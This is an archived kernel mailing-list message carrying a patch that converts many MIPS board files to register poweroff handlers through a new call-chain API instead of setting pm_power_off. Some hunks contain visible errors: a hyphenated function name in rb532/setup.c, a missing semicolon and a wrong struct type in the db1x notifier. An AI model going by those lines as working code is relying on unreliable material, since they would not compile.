	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Ralf Baechle
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:33:03 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNNr-0003UJ-Nf
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 07:32:28 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754124AbaJGFcS (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Tue, 7 Oct 2014 01:32:18 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41894 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754199AbaJGFbv (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:31:51 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=BPYzF07YGyrm4KZl97mRkmJwbU3WnmRWvszX9PdxcMU=;
	b=AincaTFHHksY5zxcNbW4S2isv5gPWKa8Mo2XORD9iDkx6GeYKuqDQ+s1EnOiPp9t6dYNZ48DQVzm9OjrGsv60+LXClkY3xLWg0uN2FFrJmvtPnqksx1ONHbakjv6X0uUzAPPm+d2BgPr6QNgPptwU8SoIvfstm33ee5qMNpGZbk=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNNG-002ntg-Jb
	for linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:31:50 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32939 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLr-002fAf-Uz; Tue, 07 Oct 2014 05:30:26 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020203.54337AC7.0010,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 1326
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 172
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:335 gmane.linux.kernel:1802474 gmane.linux.drivers.devicetree:93064 gmane.linux.kernel.virtualization.lguest:1483 gmane.linux.acpi.devel:71297 gmane.linux.ports.alpha:2468 gmane.linux.kernel.efi:4751 gmane.linux.ports.hexagon:815 gmane.linux.ports.ppc64.devel:105894 gmane.linux.ports.tegra:19497 gmane.linux.kernel.openipmi:2474 gmane.linux.uml.devel:14687 gmane.linux.ports.arm.kernel:362369 gmane.linux.ports.ia64:24504 gmane.linux.ports.mips.general:44185 gmane.linux.ports.parisc:6110 gmane.linux.power-management.general:50639 gmane.linux.ports.sh.devel:39808
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/335>

Register with kernel poweroff handler instead of setting pm_power_off
directly.

If there is an indication that there can be more than one poweroff handler,
use register_poweroff_handler, otherwise use register_poweroff_handler_simple
to register the poweroff handler.

If the poweroff handler only resets or stops the system, select a priority of
0 to indicate that the poweroff handler is one of last resort. If the poweroff
handler powers off the system, select a priority of 128, unless the poweroff
handler installation code suggests that there can be more than one poweroff
handler and the new handler is only installed conditionally. In this case,
select a priority of 64.

Cc: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
Cc: Maciej W. Rozycki <macro-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 arch/mips/alchemy/board-gpr.c          |  2 +-
 arch/mips/alchemy/board-mtx1.c         |  2 +-
 arch/mips/alchemy/board-xxs1500.c      |  2 +-
 arch/mips/alchemy/devboards/platform.c | 17 +++++++++++++++--
 arch/mips/ar7/setup.c                  |  2 +-
 arch/mips/ath79/setup.c                |  2 +-
 arch/mips/bcm47xx/setup.c              |  2 +-
 arch/mips/bcm63xx/setup.c              |  2 +-
 arch/mips/cobalt/setup.c               |  2 +-
 arch/mips/dec/setup.c                  |  2 +-
 arch/mips/emma/markeins/setup.c        |  2 +-
 arch/mips/jz4740/reset.c               |  2 +-
 arch/mips/lantiq/falcon/reset.c        |  2 +-
 arch/mips/lantiq/xway/reset.c          |  2 +-
 arch/mips/lasat/reset.c                |  2 +-
 arch/mips/loongson/common/reset.c      |  2 +-
 arch/mips/loongson1/common/reset.c     |  2 +-
 arch/mips/mti-malta/malta-reset.c      |  2 +-
 arch/mips/mti-sead3/sead3-reset.c      |  2 +-
 arch/mips/netlogic/xlp/setup.c         |  2 +-
 arch/mips/netlogic/xlr/setup.c         |  2 +-
 arch/mips/pmcs-msp71xx/msp_setup.c     |  2 +-
 arch/mips/pnx833x/common/setup.c       |  2 +-
 arch/mips/ralink/reset.c               |  2 +-
 arch/mips/rb532/setup.c                |  2 +-
 arch/mips/sgi-ip22/ip22-reset.c        |  2 +-
 arch/mips/sgi-ip27/ip27-reset.c        |  2 +-
 arch/mips/sgi-ip32/ip32-reset.c        |  2 +-
 arch/mips/sibyte/common/cfe.c          |  2 +-
 arch/mips/sni/setup.c                  |  2 +-
 arch/mips/txx9/generic/setup.c         |  2 +-
 arch/mips/vr41xx/common/pmu.c          |  2 +-
 32 files changed, 46 insertions(+), 33 deletions(-)

diff --git a/arch/mips/alchemy/board-gpr.c b/arch/mips/alchemy/board-gpr.c
index acf9a2a..56190a3 100644
--- a/arch/mips/alchemy/board-gpr.c
+++ b/arch/mips/alchemy/board-gpr.c
@@ -89,7 +89,7 @@ void __init board_setup(void)
 {
 	printk(KERN_INFO "Trapeze ITS GPR board\n");
 
-	pm_power_off = gpr_power_off;
+	register_poweroff_handler_simple(gpr_power_off, 0);
 	_machine_halt = gpr_power_off;
 	_machine_restart = gpr_reset;
 
diff --git a/arch/mips/alchemy/board-mtx1.c b/arch/mips/alchemy/board-mtx1.c
index 1e3b102..e2b06b5 100644
--- a/arch/mips/alchemy/board-mtx1.c
+++ b/arch/mips/alchemy/board-mtx1.c
@@ -98,7 +98,7 @@ void __init board_setup(void)
 	alchemy_gpio_direction_output(211, 1);	/* green on */
 	alchemy_gpio_direction_output(212, 0);	/* red off */
 
-	pm_power_off = mtx1_power_off;
+	register_poweroff_handler_simple(mtx1_power_off, 0);
 	_machine_halt = mtx1_power_off;
 	_machine_restart = mtx1_reset;
 
diff --git a/arch/mips/alchemy/board-xxs1500.c b/arch/mips/alchemy/board-xxs1500.c
index 0fc53e0..aaa5f5f 100644
--- a/arch/mips/alchemy/board-xxs1500.c
+++ b/arch/mips/alchemy/board-xxs1500.c
@@ -79,7 +79,7 @@ void __init board_setup(void)
 {
 	u32 pin_func;
 
-	pm_power_off = xxs1500_power_off;
+	register_poweroff_handler_simple(xxs1500_power_off, 0);
 	_machine_halt = xxs1500_power_off;
 	_machine_restart = xxs1500_reset;
 
diff --git a/arch/mips/alchemy/devboards/platform.c b/arch/mips/alchemy/devboards/platform.c
index 8df86eb..1734f72 100644
--- a/arch/mips/alchemy/devboards/platform.c
+++ b/arch/mips/alchemy/devboards/platform.c
@@ -6,6 +6,7 @@
 #include <linux/mtd/mtd.h>
 #include <linux/mtd/map.h>
 #include <linux/mtd/physmap.h>
+#include <linux/notifier.h>
 #include <linux/slab.h>
 #include <linux/platform_device.h>
 #include <linux/pm.h>
@@ -61,10 +62,22 @@ static void db1x_reset(char *c)
 	bcsr_write(BCSR_SYSTEM, 0);
 }
 
+static int db1x_power_off_notify(struct notifier *this,
+				 unsigned long unused1, void *unused2)
+{
+	db1x_power_off();
+	return NOTIFY_DONE;
+}
+
+static struct notifier_block db1x_poweroff_nb = {
+	.notifier_call = db1x_power_off_notify,
+	.priority = 64,
+}
+
 static int __init db1x_late_setup(void)
 {
-	if (!pm_power_off)
-		pm_power_off = db1x_power_off;
+	if (register_poweroff_handler(&db1x_poweroff_nb))
+		pr_err("dbx1: Failed to register poweroff handler\n");
 	if (!_machine_halt)
 		_machine_halt = db1x_power_off;
 	if (!_machine_restart)
diff --git a/arch/mips/ar7/setup.c b/arch/mips/ar7/setup.c
index 820b7a3..464067e 100644
--- a/arch/mips/ar7/setup.c
+++ b/arch/mips/ar7/setup.c
@@ -91,7 +91,7 @@ void __init plat_mem_setup(void)
 
 	_machine_restart = ar7_machine_restart;
 	_machine_halt = ar7_machine_halt;
-	pm_power_off = ar7_machine_power_off;
+	register_poweroff_handler_simple(ar7_machine_power_off, 128);
 
 	io_base = (unsigned long)ioremap(AR7_REGS_BASE, 0x10000);
 	if (!io_base)
diff --git a/arch/mips/ath79/setup.c b/arch/mips/ath79/setup.c
index 64807a4..ce9754e 100644
--- a/arch/mips/ath79/setup.c
+++ b/arch/mips/ath79/setup.c
@@ -203,7 +203,7 @@ void __init plat_mem_setup(void)
 
 	_machine_restart = ath79_restart;
 	_machine_halt = ath79_halt;
-	pm_power_off = ath79_halt;
+	register_poweroff_handler_simple(ath79_halt, 0);
 }
 
 void __init plat_time_init(void)
diff --git a/arch/mips/bcm47xx/setup.c b/arch/mips/bcm47xx/setup.c
index ad439c2..d0841f6 100644
--- a/arch/mips/bcm47xx/setup.c
+++ b/arch/mips/bcm47xx/setup.c
@@ -242,7 +242,7 @@ void __init plat_mem_setup(void)
 
 	_machine_restart = bcm47xx_machine_restart;
 	_machine_halt = bcm47xx_machine_halt;
-	pm_power_off = bcm47xx_machine_halt;
+	register_poweroff_handler_simple(bcm47xx_machine_halt, 0);
 	bcm47xx_board_detect();
 	mips_set_machine_name(bcm47xx_board_get_name());
 }
diff --git a/arch/mips/bcm63xx/setup.c b/arch/mips/bcm63xx/setup.c
index 6660c7d..80a5893 100644
--- a/arch/mips/bcm63xx/setup.c
+++ b/arch/mips/bcm63xx/setup.c
@@ -149,7 +149,7 @@ void __init plat_mem_setup(void)
 
 	_machine_halt = bcm63xx_machine_halt;
 	_machine_restart = __bcm63xx_machine_reboot;
-	pm_power_off = bcm63xx_machine_halt;
+	register_poweroff_handler_simple(bcm63xx_machine_halt, 0);
 
 	set_io_port_base(0);
 	ioport_resource.start = 0;
diff --git a/arch/mips/cobalt/setup.c b/arch/mips/cobalt/setup.c
index 9a8c2fe..146406f 100644
--- a/arch/mips/cobalt/setup.c
+++ b/arch/mips/cobalt/setup.c
@@ -78,7 +78,7 @@ void __init plat_mem_setup(void)
 
 	_machine_restart = cobalt_machine_restart;
 	_machine_halt = cobalt_machine_halt;
-	pm_power_off = cobalt_machine_halt;
+	register_poweroff_handler_simple(cobalt_machine_halt, 0);
 
 	set_io_port_base(CKSEG1ADDR(GT_DEF_PCI0_IO_BASE));
 
diff --git a/arch/mips/dec/setup.c b/arch/mips/dec/setup.c
index 41bbffd..8aea997 100644
--- a/arch/mips/dec/setup.c
+++ b/arch/mips/dec/setup.c
@@ -158,7 +158,7 @@ void __init plat_mem_setup(void)
 
 	_machine_restart = dec_machine_restart;
 	_machine_halt = dec_machine_halt;
-	pm_power_off = dec_machine_power_off;
+	register_poweroff_handler_simple(dec_machine_power_off, 128);
 
 	ioport_resource.start = ~0UL;
 	ioport_resource.end = 0UL;
diff --git a/arch/mips/emma/markeins/setup.c b/arch/mips/emma/markeins/setup.c
index 9100122..e2ec2e5 100644
--- a/arch/mips/emma/markeins/setup.c
+++ b/arch/mips/emma/markeins/setup.c
@@ -103,7 +103,7 @@ void __init plat_mem_setup(void)
 
 	_machine_restart = markeins_machine_restart;
 	_machine_halt = markeins_machine_halt;
-	pm_power_off = markeins_machine_power_off;
+	register_poweroff_handler_simple(markeins_machine_power_off, 0);
 
 	/* setup resource limits */
 	ioport_resource.start = EMMA2RH_PCI_IO_BASE;
diff --git a/arch/mips/jz4740/reset.c b/arch/mips/jz4740/reset.c
index b6c6343..3659e62 100644
--- a/arch/mips/jz4740/reset.c
+++ b/arch/mips/jz4740/reset.c
@@ -114,5 +114,5 @@ void jz4740_reset_init(void)
 {
 	_machine_restart = jz4740_restart;
 	_machine_halt = jz4740_halt;
-	pm_power_off = jz4740_power_off;
+	register_poweroff_handler_simple(jz4740_power_off, 128);
 }
diff --git a/arch/mips/lantiq/falcon/reset.c b/arch/mips/lantiq/falcon/reset.c
index 5682482..efd4ee2 100644
--- a/arch/mips/lantiq/falcon/reset.c
+++ b/arch/mips/lantiq/falcon/reset.c
@@ -83,7 +83,7 @@ static int __init mips_reboot_setup(void)
 {
 	_machine_restart = machine_restart;
 	_machine_halt = machine_halt;
-	pm_power_off = machine_power_off;
+	register_poweroff_handler_simple(machine_power_off, 0);
 	return 0;
 }
 
diff --git a/arch/mips/lantiq/xway/reset.c b/arch/mips/lantiq/xway/reset.c
index 1fa0f17..b698032 100644
--- a/arch/mips/lantiq/xway/reset.c
+++ b/arch/mips/lantiq/xway/reset.c
@@ -157,7 +157,7 @@ static int __init mips_reboot_setup(void)
 
 	_machine_restart = ltq_machine_restart;
 	_machine_halt = ltq_machine_halt;
-	pm_power_off = ltq_machine_power_off;
+	register_poweroff_handler_simple(ltq_machine_power_off, 0);
 
 	return 0;
 }
diff --git a/arch/mips/lasat/reset.c b/arch/mips/lasat/reset.c
index e21f0b9..9a07a88 100644
--- a/arch/mips/lasat/reset.c
+++ b/arch/mips/lasat/reset.c
@@ -56,5 +56,5 @@ void lasat_reboot_setup(void)
 {
 	_machine_restart = lasat_machine_restart;
 	_machine_halt = lasat_machine_halt;
-	pm_power_off = lasat_machine_halt;
+	register_poweroff_handler_simple(lasat_machine_halt, 0);
 }
diff --git a/arch/mips/loongson/common/reset.c b/arch/mips/loongson/common/reset.c
index a60715e..e251519 100644
--- a/arch/mips/loongson/common/reset.c
+++ b/arch/mips/loongson/common/reset.c
@@ -84,7 +84,7 @@ static int __init mips_reboot_setup(void)
 {
 	_machine_restart = loongson_restart;
 	_machine_halt = loongson_halt;
-	pm_power_off = loongson_poweroff;
+	register_poweroff_handler_simple(loongson_poweroff, 128);
 
 	return 0;
 }
diff --git a/arch/mips/loongson1/common/reset.c b/arch/mips/loongson1/common/reset.c
index 547f34b..fbb563a 100644
--- a/arch/mips/loongson1/common/reset.c
+++ b/arch/mips/loongson1/common/reset.c
@@ -38,7 +38,7 @@ static int __init ls1x_reboot_setup(void)
 {
 	_machine_restart = ls1x_restart;
 	_machine_halt = ls1x_halt;
-	pm_power_off = ls1x_power_off;
+	register_poweroff_handler_simple(ls1x_power_off, 0);
 
 	return 0;
 }
diff --git a/arch/mips/mti-malta/malta-reset.c b/arch/mips/mti-malta/malta-reset.c
index 2fd2cc2..632ce7c 100644
--- a/arch/mips/mti-malta/malta-reset.c
+++ b/arch/mips/mti-malta/malta-reset.c
@@ -40,7 +40,7 @@ static int __init mips_reboot_setup(void)
 {
 	_machine_restart = mips_machine_restart;
 	_machine_halt = mips_machine_halt;
-	pm_power_off = mips_machine_power_off;
+	register_poweroff_handler_simple(mips_machine_power_off, 128);
 
 	return 0;
 }
diff --git a/arch/mips/mti-sead3/sead3-reset.c b/arch/mips/mti-sead3/sead3-reset.c
index e6fb244..d1df04f 100644
--- a/arch/mips/mti-sead3/sead3-reset.c
+++ b/arch/mips/mti-sead3/sead3-reset.c
@@ -33,7 +33,7 @@ static int __init mips_reboot_setup(void)
 {
 	_machine_restart = mips_machine_restart;
 	_machine_halt = mips_machine_halt;
-	pm_power_off = mips_machine_halt;
+	register_poweroff_handler_simple(mips_machine_halt, 0);
 
 	return 0;
 }
diff --git a/arch/mips/netlogic/xlp/setup.c b/arch/mips/netlogic/xlp/setup.c
index 4fdd9fd..4982302 100644
--- a/arch/mips/netlogic/xlp/setup.c
+++ b/arch/mips/netlogic/xlp/setup.c
@@ -106,7 +106,7 @@ void __init plat_mem_setup(void)
 #endif
 	_machine_restart = (void (*)(char *))nlm_linux_exit;
 	_machine_halt	= nlm_linux_exit;
-	pm_power_off	= nlm_linux_exit;
+	register_poweroff_handler_simple(nlm_linux_exit, 0);
 
 	/* memory and bootargs from DT */
 	xlp_early_init_devtree();
diff --git a/arch/mips/netlogic/xlr/setup.c b/arch/mips/netlogic/xlr/setup.c
index d118b9a..5149dd4 100644
--- a/arch/mips/netlogic/xlr/setup.c
+++ b/arch/mips/netlogic/xlr/setup.c
@@ -75,7 +75,7 @@ void __init plat_mem_setup(void)
 {
 	_machine_restart = (void (*)(char *))nlm_linux_exit;
 	_machine_halt	= nlm_linux_exit;
-	pm_power_off	= nlm_linux_exit;
+	register_poweroff_handler_simple(nlm_linux_exit, 0);
 }
 
 const char *get_system_type(void)
diff --git a/arch/mips/pmcs-msp71xx/msp_setup.c b/arch/mips/pmcs-msp71xx/msp_setup.c
index 4f925e0..67699e30 100644
--- a/arch/mips/pmcs-msp71xx/msp_setup.c
+++ b/arch/mips/pmcs-msp71xx/msp_setup.c
@@ -144,7 +144,7 @@ void __init plat_mem_setup(void)
 {
 	_machine_restart = msp_restart;
 	_machine_halt = msp_halt;
-	pm_power_off = msp_power_off;
+	register_poweroff_handler_simple(msp_power_off, 0);
 }
 
 void __init prom_init(void)
diff --git a/arch/mips/pnx833x/common/setup.c b/arch/mips/pnx833x/common/setup.c
index 99b4d94..7c12665 100644
--- a/arch/mips/pnx833x/common/setup.c
+++ b/arch/mips/pnx833x/common/setup.c
@@ -51,7 +51,7 @@ int __init plat_mem_setup(void)
 
 	_machine_restart = pnx833x_machine_restart;
 	_machine_halt = pnx833x_machine_halt;
-	pm_power_off = pnx833x_machine_power_off;
+	register_poweroff_handler_simple(pnx833x_machine_power_off, 128);
 
 	/* IO/MEM resources. */
 	set_io_port_base(KSEG1);
diff --git a/arch/mips/ralink/reset.c b/arch/mips/ralink/reset.c
index 55c7ec5..e640e9e 100644
--- a/arch/mips/ralink/reset.c
+++ b/arch/mips/ralink/reset.c
@@ -98,7 +98,7 @@ static int __init mips_reboot_setup(void)
 {
 	_machine_restart = ralink_restart;
 	_machine_halt = ralink_halt;
-	pm_power_off = ralink_halt;
+	register_poweroff_handler_simple(ralink_halt, 0);
 
 	return 0;
 }
diff --git a/arch/mips/rb532/setup.c b/arch/mips/rb532/setup.c
index d0c64e7..c71a623 100644
--- a/arch/mips/rb532/setup.c
+++ b/arch/mips/rb532/setup.c
@@ -44,7 +44,7 @@ void __init plat_mem_setup(void)
 
 	_machine_restart = rb_machine_restart;
 	_machine_halt = rb_machine_halt;
-	pm_power_off = rb_machine_halt;
+	register_poweroff_handler-simple(rb_machine_halt, 0);
 
 	set_io_port_base(KSEG1);
 
diff --git a/arch/mips/sgi-ip22/ip22-reset.c b/arch/mips/sgi-ip22/ip22-reset.c
index 063c2dd..466e710 100644
--- a/arch/mips/sgi-ip22/ip22-reset.c
+++ b/arch/mips/sgi-ip22/ip22-reset.c
@@ -188,7 +188,7 @@ static int __init reboot_setup(void)
 
 	_machine_restart = sgi_machine_restart;
 	_machine_halt = sgi_machine_halt;
-	pm_power_off = sgi_machine_power_off;
+	register_poweroff_handler_simple(sgi_machine_power_off, 128);
 
 	res = request_irq(SGI_PANEL_IRQ, panel_int, 0, "Front Panel", NULL);
 	if (res) {
diff --git a/arch/mips/sgi-ip27/ip27-reset.c b/arch/mips/sgi-ip27/ip27-reset.c
index ac37e54..c26f04a 100644
--- a/arch/mips/sgi-ip27/ip27-reset.c
+++ b/arch/mips/sgi-ip27/ip27-reset.c
@@ -76,5 +76,5 @@ void ip27_reboot_setup(void)
 {
 	_machine_restart = ip27_machine_restart;
 	_machine_halt = ip27_machine_halt;
-	pm_power_off = ip27_machine_power_off;
+	register_poweroff_handler_simple(ip27_machine_power_off, 0);
 }
diff --git a/arch/mips/sgi-ip32/ip32-reset.c b/arch/mips/sgi-ip32/ip32-reset.c
index 1f823da..88d8692 100644
--- a/arch/mips/sgi-ip32/ip32-reset.c
+++ b/arch/mips/sgi-ip32/ip32-reset.c
@@ -189,7 +189,7 @@ static __init int ip32_reboot_setup(void)
 
 	_machine_restart = ip32_machine_restart;
 	_machine_halt = ip32_machine_halt;
-	pm_power_off = ip32_machine_power_off;
+	register_poweroff_handler_simple(ip32_machine_power_off, 0);
 
 	init_timer(&blink_timer);
 	blink_timer.function = blink_timeout;
diff --git a/arch/mips/sibyte/common/cfe.c b/arch/mips/sibyte/common/cfe.c
index 588e180..069de27 100644
--- a/arch/mips/sibyte/common/cfe.c
+++ b/arch/mips/sibyte/common/cfe.c
@@ -245,7 +245,7 @@ void __init prom_init(void)
 
 	_machine_restart   = cfe_linux_restart;
 	_machine_halt	   = cfe_linux_halt;
-	pm_power_off = cfe_linux_halt;
+	register_poweroff_handler_simple(cfe_linux_halt, 0);
 
 	/*
 	 * Check if a loader was used; if NOT, the 4 arguments are
diff --git a/arch/mips/sni/setup.c b/arch/mips/sni/setup.c
index efad85c..5242bd9 100644
--- a/arch/mips/sni/setup.c
+++ b/arch/mips/sni/setup.c
@@ -225,7 +225,7 @@ void __init plat_mem_setup(void)
 	}
 
 	_machine_restart = sni_machine_restart;
-	pm_power_off = sni_machine_power_off;
+	register_poweroff_handler_simple(sni_machine_power_off, 128);
 
 	sni_display_setup();
 	sni_console_setup();
diff --git a/arch/mips/txx9/generic/setup.c b/arch/mips/txx9/generic/setup.c
index 9ff200a..c429a4f 100644
--- a/arch/mips/txx9/generic/setup.c
+++ b/arch/mips/txx9/generic/setup.c
@@ -555,7 +555,7 @@ void __init plat_mem_setup(void)
 	/* fallback restart/halt routines */
 	_machine_restart = (void (*)(char *))txx9_machine_halt;
 	_machine_halt = txx9_machine_halt;
-	pm_power_off = txx9_machine_halt;
+	register_poweroff_handler_simple(txx9_machine_halt, 0);
 
 #ifdef CONFIG_PCI
 	pcibios_plat_setup = txx9_pcibios_setup;
diff --git a/arch/mips/vr41xx/common/pmu.c b/arch/mips/vr41xx/common/pmu.c
index d7f7558..4d947ab 100644
--- a/arch/mips/vr41xx/common/pmu.c
+++ b/arch/mips/vr41xx/common/pmu.c
@@ -127,7 +127,7 @@ static int __init vr41xx_pmu_init(void)
 	cpu_wait = vr41xx_cpu_wait;
 	_machine_restart = vr41xx_restart;
 	_machine_halt = vr41xx_halt;
-	pm_power_off = vr41xx_halt;
+	register_poweroff_handler_simple(vr41xx_halt, 0);
 
 	return 0;
 }
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 00/44] kernel: Add support for poweroff handler call chain
Date: Mon,  6 Oct 2014 22:28:02 -0700
Lines: 381
Approved: news@gmane.org
Message-ID: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412660001 28329 80.91.229.3 (7 Oct 2014 05:33:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:33:21 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
        devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
        lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
        linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        openipmi-developer@lists.sourceforge.net,
        user-mode-linux-devel@lists.sourceforge.net,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
        linux-sh@v
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Tue Oct 07 07:33:02 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XbNNo-0004Rt-EL
	for sgi-linux-mips@gmane.org; Tue, 07 Oct 2014 07:32:24 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:35680 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010707AbaJGFcW1UOgv (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 7 Oct 2014 07:32:22 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 07 Oct 2014 07:32:08 +0200 (CEST)
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:51239 "EHLO
        bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S27010671AbaJGFaqwKbso (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 7 Oct 2014 07:30:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
        h=Message-Id:Date:Subject:Cc:To:From; bh=OEUKbgZQAqH5cPGNnwNgMrf5lPSBDGuOOAy2hxuGUCw=;
        b=TS7zSA46EVGn0wsQ9ttGRCZZtQlYdSd/wYUqY0dkbPzEfKVAQd3azbBF4w1by7fz0tGFaV/BsCQGeVBG9ykUnnSe3eD84e0c/hEUe+sROyb9Ps9u48z0h8ee+X/R8oxgMdfKGtqDWk/zHUhGhvx3+Cv3oB8ii+rIBviexa3V61I=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
        (envelope-from <linux@roeck-us.net>)
        id 1XbNM8-002hMj-Bs
        for linux-mips@linux-mips.org; Tue, 07 Oct 2014 05:30:40 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32892 helo=localhost)
        by bh-25.webhostbox.net with esmtpa (Exim 4.82)
